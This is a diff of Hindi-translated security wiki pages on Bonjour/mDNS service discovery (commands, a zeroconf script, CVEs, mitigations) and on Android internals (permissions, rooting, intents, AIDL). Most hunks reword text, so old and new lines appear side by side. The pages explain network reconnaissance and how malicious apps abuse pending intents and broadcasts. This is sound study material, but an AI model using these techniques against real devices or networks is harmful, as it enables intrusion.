DNS के लिए, Bonjour **Multicast DNS (mDNS) प्रोटोकॉल** का उपयोग करता है। mDNS **पोर्ट 5353/UDP** पर कार्य करता है, **मानक DNS क्वेरी** का उपयोग करता है लेकिन **मल्टीकास्ट पते 224.0.0.251** को लक्षित करता है। यह दृष्टिकोण सुनिश्चित करता है कि नेटवर्क पर सभी सुनने वाले उपकरण क्वेरी प्राप्त कर सकें और उनका उत्तर दे सकें, जिससे उनके रिकॉर्ड को अपडेट करना संभव हो सके।
|
||||
|
||||
नेटवर्क में शामिल होने पर, प्रत्येक उपकरण एक नाम का स्व-चयन करता है, जो आमतौर पर **.local** में समाप्त होता है, जो या तो होस्टनाम से निकाला जा सकता है या यादृच्छिक रूप से उत्पन्न किया जा सकता है।
|
||||
नेटवर्क में शामिल होने पर, प्रत्येक उपकरण एक नाम का स्व-चयन करता है, जो आमतौर पर **.local** में समाप्त होता है, जो होस्टनाम से व्युत्पन्न हो सकता है या यादृच्छिक रूप से उत्पन्न हो सकता है।
|
||||
|
||||
नेटवर्क के भीतर सेवा खोज को **DNS सेवा खोज (DNS-SD)** द्वारा सुविधाजनक बनाया जाता है। DNS SRV रिकॉर्ड के प्रारूप का लाभ उठाते हुए, DNS-SD **DNS PTR रिकॉर्ड** का उपयोग करके कई सेवाओं की सूची बनाने में सक्षम बनाता है। एक ग्राहक जो एक विशिष्ट सेवा की तलाश कर रहा है, `<Service>.<Domain>` के लिए एक PTR रिकॉर्ड का अनुरोध करेगा, यदि सेवा कई होस्टों से उपलब्ध है तो उसे `<Instance>.<Service>.<Domain>` के रूप में प्रारूपित PTR रिकॉर्ड की एक सूची प्राप्त होगी।
|
||||
|
||||
@ -90,17 +90,17 @@ HTTP सेवा का विज्ञापन करने के लिए,
|
||||
```bash
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```
|
||||
यह कमांड पोर्ट 80 पर `/index.html` के पथ के साथ "Index" नामक HTTP सेवा को पंजीकृत करता है।
|
||||
यह कमांड पोर्ट 80 पर `/index.html` के पथ के साथ "Index" नामक एक HTTP सेवा को पंजीकृत करता है।
|
||||
|
||||
फिर नेटवर्क पर HTTP सेवाओं की खोज करने के लिए:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
जब एक सेवा शुरू होती है, तो यह अपने उपलब्धता की घोषणा सभी उपकरणों को सबनेट पर मल्टीकास्ट करके करती है। इन सेवाओं में रुचि रखने वाले उपकरणों को अनुरोध भेजने की आवश्यकता नहीं होती है, बल्कि वे बस इन घोषणाओं को सुनते हैं।
|
||||
जब एक सेवा शुरू होती है, तो यह अपने अस्तित्व की घोषणा सभी उपकरणों को सबनेट पर मल्टीकास्ट करके करती है। इन सेवाओं में रुचि रखने वाले उपकरणों को अनुरोध भेजने की आवश्यकता नहीं होती है, बल्कि वे बस इन घोषणाओं को सुनते हैं।
|
||||
|
||||
एक अधिक उपयोगकर्ता-अनुकूल इंटरफ़ेस के लिए, **Discovery - DNS-SD Browser** ऐप जो Apple App Store पर उपलब्ध है, आपके स्थानीय नेटवर्क पर उपलब्ध सेवाओं को दृश्य रूप में प्रस्तुत कर सकता है।
|
||||
|
||||
वैकल्पिक रूप से, सेवाओं को ब्राउज़ और खोजने के लिए कस्टम स्क्रिप्ट लिखी जा सकती हैं जो `python-zeroconf` लाइब्रेरी का उपयोग करती हैं। [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) स्क्रिप्ट `_http._tcp.local.` सेवाओं के लिए एक सेवा ब्राउज़र बनाने का प्रदर्शन करती है, जो जोड़ी गई या हटा दी गई सेवाओं को प्रिंट करती है:
|
||||
वैकल्पिक रूप से, कस्टम स्क्रिप्ट लिखी जा सकती हैं जो `python-zeroconf` लाइब्रेरी का उपयोग करके सेवाओं को ब्राउज़ और खोजने के लिए। [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) स्क्रिप्ट `_http._tcp.local.` सेवाओं के लिए एक सेवा ब्राउज़र बनाने का प्रदर्शन करती है, जो जोड़ी गई या हटा दी गई सेवाओं को प्रिंट करती है:
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
@ -144,7 +144,7 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
|
||||
| वर्ष | CVE | गंभीरता | समस्या | पैच किया गया |
|
||||
|------|-----|----------|-------|------------|
|
||||
|2024|CVE-2024-44183|मध्यम|*mDNSResponder* में एक लॉजिक त्रुटि ने एक तैयार पैकेट को **सेवा से इनकार** करने के लिए ट्रिगर करने की अनुमति दी|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (सितंबर 2024) |
|
||||
|2024|CVE-2024-44183|मध्यम|*mDNSResponder* में एक लॉजिक त्रुटि ने एक तैयार पैकेट को **denial-of-service** को ट्रिगर करने की अनुमति दी|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (सितंबर 2024) |
|
||||
|2025|CVE-2025-31222|उच्च|*mDNSResponder* में एक सहीता समस्या का दुरुपयोग **स्थानीय विशेषाधिकार वृद्धि** के लिए किया जा सकता है|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (मई 2025) |
|
||||
|
||||
**निवारण मार्गदर्शन**
|
||||
@ -156,7 +156,7 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
3. उन वातावरणों के लिए जहां Bonjour आंतरिक रूप से आवश्यक है लेकिन कभी भी नेटवर्क सीमाओं को पार नहीं करना चाहिए, *AirPlay Receiver* प्रोफ़ाइल प्रतिबंध (MDM) या एक mDNS प्रॉक्सी का उपयोग करें।
|
||||
4. **सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP)** सक्षम करें और macOS को अद्यतित रखें – उपरोक्त दोनों कमजोरियों को जल्दी पैच किया गया था लेकिन पूर्ण सुरक्षा के लिए SIP के सक्षम होने पर निर्भर थे।
|
||||
4. **System Integrity Protection (SIP)** सक्षम करें और macOS को अद्यतित रखें – उपरोक्त दोनों कमजोरियों को जल्दी पैच किया गया था लेकिन पूर्ण सुरक्षा के लिए SIP के सक्षम होने पर निर्भर थे।
|
||||
|
||||
### Bonjour को बंद करना
|
||||
|
||||
|
@ -25,17 +25,17 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
||||
|
||||
### Permissions
|
||||
|
||||
जब आप एक **ऐप इंस्टॉल करते हैं और यह अनुमतियों के लिए पूछता है**, तो ऐप **`uses-permission`** तत्वों में कॉन्फ़िगर की गई अनुमतियों के लिए पूछ रहा है जो **AndroidManifest.xml** फ़ाइल में हैं। **uses-permission** तत्व **name** **attribute** के भीतर अनुरोधित अनुमति का नाम इंगित करता है। इसमें **maxSdkVersion** attribute भी है जो निर्दिष्ट संस्करण से उच्च संस्करणों पर अनुमतियों के लिए पूछना बंद कर देता है।\
|
||||
ध्यान दें कि Android अनुप्रयोगों को शुरुआत में सभी अनुमतियों के लिए पूछने की आवश्यकता नहीं है, वे **डायनामिकली अनुमतियों के लिए भी पूछ सकते हैं** लेकिन सभी अनुमतियों को **मैनिफेस्ट में घोषित** करना चाहिए।
|
||||
जब आप एक **ऐप इंस्टॉल करते हैं और यह अनुमतियों के लिए पूछता है**, तो ऐप **`uses-permission`** तत्वों में कॉन्फ़िगर की गई अनुमतियों के लिए पूछ रहा है जो **AndroidManifest.xml** फ़ाइल में हैं। **uses-permission** तत्व अनुरोधित अनुमति के नाम को **name** **attribute** के अंदर इंगित करता है। इसमें **maxSdkVersion** विशेषता भी है जो निर्दिष्ट संस्करण से उच्च संस्करणों पर अनुमतियों के लिए पूछना बंद कर देती है।\
|
||||
ध्यान दें कि Android अनुप्रयोगों को शुरुआत में सभी अनुमतियों के लिए पूछने की आवश्यकता नहीं है, वे **डायनामिकली अनुमतियों के लिए भी पूछ सकते हैं** लेकिन सभी अनुमतियों को **मैनिफेस्ट में घोषित** किया जाना चाहिए।
|
||||
|
||||
जब एक ऐप कार्यक्षमता को उजागर करता है, तो यह **केवल उन ऐप्स तक पहुंच को सीमित कर सकता है जिनके पास एक निर्दिष्ट अनुमति है**।\
|
||||
एक अनुमति तत्व में तीन विशेषताएँ होती हैं:
|
||||
|
||||
- अनुमति का **नाम**
|
||||
- **permission-group** attribute, जो संबंधित अनुमतियों को समूहित करने की अनुमति देता है।
|
||||
- **permission-group** विशेषता, जो संबंधित अनुमतियों को समूहित करने की अनुमति देती है।
|
||||
- **protection-level** जो इंगित करता है कि अनुमतियाँ कैसे दी जाती हैं। चार प्रकार हैं:
|
||||
- **Normal**: जब ऐप के लिए **कोई ज्ञात खतरे** नहीं होते हैं। उपयोगकर्ता को **इसे मंजूर करने की आवश्यकता नहीं है**।
|
||||
- **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से इन्हें मंजूर करने के लिए कहा जाता है**।
|
||||
- **Normal**: जब ऐप के लिए **कोई ज्ञात खतरे** नहीं होते हैं। उपयोगकर्ता को **इसे स्वीकृत करने की आवश्यकता नहीं है**।
|
||||
- **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से इन्हें स्वीकृत करने के लिए कहा जाता है**।
|
||||
- **Signature**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात कर रहा है। यह सुरक्षा का सबसे मजबूत प्रकार है।
|
||||
- **SignatureOrSystem**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** या **सिस्टम-स्तरीय पहुंच के साथ चलने वाले ऐप्स** को अनुमतियाँ दी जा सकती हैं।
|
||||
|
||||
@ -49,7 +49,7 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
||||
|
||||
## Rooting
|
||||
|
||||
एक भौतिक Android डिवाइस में रूट एक्सेस प्राप्त करने के लिए आपको आमतौर पर **1 या 2 कमजोरियों का शोषण** करना होता है जो **डिवाइस** और **संस्करण** के लिए **विशिष्ट** होती हैं।\
|
||||
एक भौतिक Android डिवाइस में रूट एक्सेस प्राप्त करने के लिए आपको आमतौर पर **1 या 2 कमजोरियों का शोषण** करने की आवश्यकता होती है जो **डिवाइस** और **संस्करण** के लिए **विशिष्ट** होती हैं।\
|
||||
एक बार जब शोषण काम कर जाता है, तो आमतौर पर Linux `su` बाइनरी को उपयोगकर्ता के PATH env वेरिएबल में निर्दिष्ट स्थान पर कॉपी किया जाता है जैसे `/system/xbin`।
|
||||
|
||||
एक बार जब su बाइनरी कॉन्फ़िगर हो जाती है, तो `su` बाइनरी के साथ इंटरफेस करने के लिए एक और Android ऐप का उपयोग किया जाता है और **रूट एक्सेस के लिए अनुरोधों को संसाधित** किया जाता है जैसे **Superuser** और **SuperSU** (जो Google Play स्टोर में उपलब्ध हैं)।
|
||||
@ -60,17 +60,17 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
||||
### ROMs
|
||||
|
||||
यह संभव है कि **कस्टम फर्मवेयर स्थापित करके OS को बदलें**। ऐसा करने से एक पुराने डिवाइस की उपयोगिता बढ़ाई जा सकती है, सॉफ़्टवेयर प्रतिबंधों को बायपास किया जा सकता है या नवीनतम Android कोड तक पहुंच प्राप्त की जा सकती है।\
|
||||
**OmniROM** और **LineageOS** उपयोग करने के लिए दो सबसे लोकप्रिय फर्मवेयर हैं।
|
||||
**OmniROM** और **LineageOS** उपयोग करने के लिए सबसे लोकप्रिय फर्मवेयर में से दो हैं।
|
||||
|
||||
ध्यान दें कि **कस्टम फर्मवेयर स्थापित करने के लिए डिवाइस को रूट करना हमेशा आवश्यक नहीं है**। **कुछ निर्माता** अपने बूटलोडर्स को अच्छी तरह से प्रलेखित और सुरक्षित तरीके से अनलॉक करने की अनुमति देते हैं।
|
||||
|
||||
### Implications
|
||||
|
||||
एक बार जब एक डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण ऐप इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर लेगा और यह फोन को नुकसान पहुँचा सकेगा।
|
||||
एक बार जब एक डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण ऐप इसे प्राप्त कर लेता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर लेगा और यह फोन को नुकसान पहुँचा सकेगा।
|
||||
|
||||
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Android अनुप्रयोगों का प्रारूप _APK फ़ाइल प्रारूप_ के रूप में संदर्भित किया जाता है। यह मूल रूप से एक **ZIP फ़ाइल** है (फ़ाइल एक्सटेंशन को .zip में बदलने पर, सामग्री को निकाला और देखा जा सकता है)।
|
||||
- Android अनुप्रयोगों का प्रारूप _APK फ़ाइल प्रारूप_ के रूप में संदर्भित किया जाता है। यह मूल रूप से एक **ZIP फ़ाइल** है (फ़ाइल एक्सटेंशन को .zip में बदलकर, सामग्री को निकाला और देखा जा सकता है)।
|
||||
- APK सामग्री (पूर्ण नहीं)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
@ -93,19 +93,19 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Android विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, Android इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए Android संस्करणों में Android Runtime (ART) इसका प्रबंधन करता है।
|
||||
Android विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, Android इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए Android संस्करणों में Android Runtime (ART) इसका प्रभार लेता है।
|
||||
|
||||
रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवाद करके असेंबली भाषा की तरह कार्य करता है। इस संदर्भ में Smali और baksmali असेंबली और डिस्सेम्बली उपकरणों को संदर्भित करते हैं।
|
||||
रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवाद करके असेंबली भाषा की तरह कार्य करता है। इस संदर्भ में Smali और baksmali असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं।
|
||||
|
||||
## Intents
|
||||
|
||||
Intents Android ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने के प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है।
|
||||
Intents Android ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने का प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है।
|
||||
|
||||
तो एक Intent मूल रूप से **घटकों के बीच पारित किया जाने वाला एक संदेश है**। Intents **विशिष्ट घटकों या ऐप्स की ओर निर्देशित** किए जा सकते हैं, **या बिना किसी विशिष्ट प्राप्तकर्ता के भेजे जा सकते हैं**।\
|
||||
सरलता से, Intent का उपयोग किया जा सकता है:
|
||||
|
||||
- एक गतिविधि शुरू करने के लिए, आमतौर पर एक ऐप के लिए उपयोगकर्ता इंटरफ़ेस खोलना
|
||||
- सिस्टम और ऐप्स को परिवर्तनों की सूचना देने के लिए प्रसारण के रूप में
|
||||
- सिस्टम और ऐप्स को परिवर्तनों की जानकारी देने के लिए प्रसारण के रूप में
|
||||
- एक पृष्ठभूमि सेवा के साथ प्रारंभ, रोकने और संवाद करने के लिए
|
||||
- ContentProviders के माध्यम से डेटा तक पहुँचने के लिए
|
||||
- घटनाओं को संभालने के लिए कॉलबैक के रूप में
|
||||
@ -120,7 +120,7 @@ Intent Filters श्रेणियों, क्रियाओं और ड
|
||||
|
||||
Android घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/प्रसारण रिसीवर) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** विशेषता को **`false`** पर सेट करके प्राप्त किया जाता है।
|
||||
|
||||
इसके अलावा, डेवलपर्स के पास इन घटकों तक पहुंच को और सुरक्षित करने का विकल्प होता है, विशेष अनुमतियों की आवश्यकता करके। **`permission`** attribute को सेट किया जा सकता है ताकि केवल उन ऐप्स को अनुमति दी जा सके जिनके पास निर्दिष्ट अनुमति है, जो सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ता है कि कौन इसके साथ इंटरैक्ट कर सकता है।
|
||||
इसके अलावा, डेवलपर्स के पास इन घटकों तक पहुंच को और सुरक्षित करने का विकल्प होता है, विशेष अनुमतियों की आवश्यकता करके। **`permission`** विशेषता को सेट किया जा सकता है ताकि केवल उन ऐप्स को अनुमति दी जा सके जिनके पास निर्दिष्ट अनुमति है, जिससे सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ी जा सके कि कौन इसके साथ इंटरैक्ट कर सकता है।
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
@ -132,7 +132,7 @@ Intents को एक Intent कंस्ट्रक्टर का उपय
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Action** पहले घोषित किए गए इरादे का **ACTION_SEND** है और **Extra** एक mailto **Uri** है (Extra वह अतिरिक्त जानकारी है जिसकी अपेक्षा इरादा कर रहा है)।
|
||||
**Action** पहले घोषित किए गए इरादे का **ACTION_SEND** है और **Extra** एक मेलटू **Uri** है (Extra वह अतिरिक्त जानकारी है जिसकी इरादा अपेक्षा कर रहा है)।
|
||||
|
||||
इस इरादे को मैनिफेस्ट के अंदर निम्नलिखित उदाहरण के रूप में घोषित किया जाना चाहिए:
|
||||
```xml
|
||||
@ -145,11 +145,11 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
एक intent-filter को संदेश प्राप्त करने के लिए **action**, **data** और **category** से मेल खाना चाहिए।
|
||||
|
||||
"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला चयनित होगा**। यह प्राथमिकता -1000 से 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**।
|
||||
"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला चयनित होगा**। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**।
|
||||
|
||||
### Explicit Intents
|
||||
|
||||
एक explicit intent उस वर्ग नाम को निर्दिष्ट करता है जिसे यह लक्षित कर रहा है:
|
||||
एक स्पष्ट intent उस वर्ग नाम को निर्दिष्ट करता है जिसे यह लक्षित कर रहा है:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
@ -161,22 +161,22 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो **एक दुर्भावनापूर्ण अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुर्भावनापूर्ण ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**।
|
||||
ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो एक **दुष्ट अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से प्रदर्शन कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुष्ट ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**।
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
पिछले इरादों के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते हैं, ब्रॉडकास्ट इरादे **कई ऐप द्वारा प्राप्त किए जा सकते हैं**। हालाँकि, API संस्करण 14 से, यह **संभव है कि उस ऐप को निर्दिष्ट किया जाए जिसे संदेश प्राप्त करना चाहिए** Intent.set Package का उपयोग करके।
|
||||
पिछले इरादों के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते हैं, ब्रॉडकास्ट इरादे **कई ऐप द्वारा प्राप्त किए जा सकते हैं**। हालाँकि, API संस्करण 14 से, यह **संदेश प्राप्त करने वाले ऐप को निर्दिष्ट करना संभव है** Intent.set Package का उपयोग करके।
|
||||
|
||||
वैकल्पिक रूप से, ब्रॉडकास्ट भेजते समय **एक अनुमति निर्दिष्ट करना भी संभव है**। रिसीवर ऐप को उस अनुमति की आवश्यकता होगी।
|
||||
|
||||
ब्रॉडकास्ट के **दो प्रकार** होते हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को संसाधित, पुनः प्रसारित या छोड़ सकता है।**
|
||||
|
||||
आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेज** सकते हैं।\
|
||||
आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेजना** संभव है।\
|
||||
आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश ऐप से बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी।
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी पहुंचा जा सकता है**।\
|
||||
इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी एक्सेस किए जा सकते हैं**।\
|
||||
इनका API स्तर 21 में निराधारित किया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\
|
||||
**ये किसी भी अनुप्रयोग को डेटा को स्निफ़ करने, बल्कि इसे संशोधित करने की अनुमति देते हैं।**
|
||||
|
||||
@ -215,17 +215,17 @@ android:host="example"
|
||||
|
||||
सीखें कि [HTML पृष्ठों का उपयोग किए बिना डीप लिंक कैसे कॉल करें](#exploiting-schemes-deep-links)।
|
||||
|
||||
## AIDL - एंड्रॉइड इंटरफेस परिभाषा भाषा
|
||||
## AIDL - Android इंटरफेस परिभाषा भाषा
|
||||
|
||||
**एंड्रॉइड इंटरफेस परिभाषा भाषा (AIDL)** का उद्देश्य एंड्रॉइड अनुप्रयोगों में **इंटरप्रोसेस संचार** (IPC) के माध्यम से क्लाइंट और सेवा के बीच संचार को सुविधाजनक बनाना है। चूंकि एंड्रॉइड पर किसी अन्य प्रक्रिया की मेमोरी को सीधे एक्सेस करना अनुमति नहीं है, AIDL इस प्रक्रिया को ऑब्जेक्ट्स को एक ऐसे प्रारूप में मार्शल करके सरल बनाता है जिसे ऑपरेटिंग सिस्टम समझता है, इस प्रकार विभिन्न प्रक्रियाओं के बीच संचार को आसान बनाता है।
|
||||
**Android इंटरफेस परिभाषा भाषा (AIDL)** का उद्देश्य Android अनुप्रयोगों में **इंटरप्रोसेस संचार** (IPC) के माध्यम से क्लाइंट और सेवा के बीच संचार को सुविधाजनक बनाना है। चूंकि Android पर किसी अन्य प्रक्रिया की मेमोरी को सीधे एक्सेस करना अनुमति नहीं है, AIDL इस प्रक्रिया को सरल बनाता है, जिससे ऑब्जेक्ट्स को एक ऐसे प्रारूप में परिवर्तित किया जाता है जिसे ऑपरेटिंग सिस्टम समझता है, इस प्रकार विभिन्न प्रक्रियाओं के बीच संचार को आसान बनाता है।
|
||||
|
||||
### प्रमुख अवधारणाएँ
|
||||
|
||||
- **बाउंड सेवाएँ**: ये सेवाएँ IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियाँ या घटक एक सेवा से बंध सकते हैं, अनुरोध कर सकते हैं और प्रतिक्रियाएँ प्राप्त कर सकते हैं। सेवा की कक्षा में `onBind` विधि बातचीत शुरू करने के लिए महत्वपूर्ण है, इसे कमजोरियों की खोज में सुरक्षा समीक्षा के लिए एक महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया गया है।
|
||||
- **बाउंड सेवाएँ**: ये सेवाएँ IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियाँ या घटक एक सेवा से बंध सकते हैं, अनुरोध कर सकते हैं और प्रतिक्रियाएँ प्राप्त कर सकते हैं। सेवा की कक्षा में `onBind` विधि इंटरैक्शन शुरू करने के लिए महत्वपूर्ण है, इसे कमजोरियों की खोज में सुरक्षा समीक्षा के लिए एक महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया गया है।
|
||||
|
||||
- **मैसेंजर**: एक बाउंड सेवा के रूप में कार्य करते हुए, मैसेंजर IPC को सुविधाजनक बनाता है, जो `onBind` विधि के माध्यम से डेटा को संसाधित करने पर ध्यान केंद्रित करता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि का निकटता से निरीक्षण करना आवश्यक है।
|
||||
- **मैसेंजर**: एक बाउंड सेवा के रूप में कार्य करते हुए, मैसेंजर IPC को सुविधाजनक बनाता है, जो `onBind` विधि के माध्यम से डेटा को संसाधित करने पर ध्यान केंद्रित करता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि की निकटता से जांच करना आवश्यक है।
|
||||
|
||||
- **बाइंडर**: हालांकि बाइंडर कक्षा का प्रत्यक्ष उपयोग AIDL के अमूर्तता के कारण कम सामान्य है, यह समझना फायदेमंद है कि बाइंडर विभिन्न प्रक्रियाओं की मेमोरी स्पेस के बीच डेटा ट्रांसफर को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)।
|
||||
- **बाइंडर**: हालांकि बाइंडर वर्ग का प्रत्यक्ष उपयोग AIDL के अमूर्तता के कारण कम सामान्य है, यह समझना फायदेमंद है कि बाइंडर एक कर्नेल-स्तरीय ड्राइवर के रूप में कार्य करता है जो विभिन्न प्रक्रियाओं की मेमोरी स्पेस के बीच डेटा ट्रांसफर को सुविधाजनक बनाता है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)।
|
||||
|
||||
## घटक
|
||||
|
||||
@ -233,7 +233,7 @@ android:host="example"
|
||||
|
||||
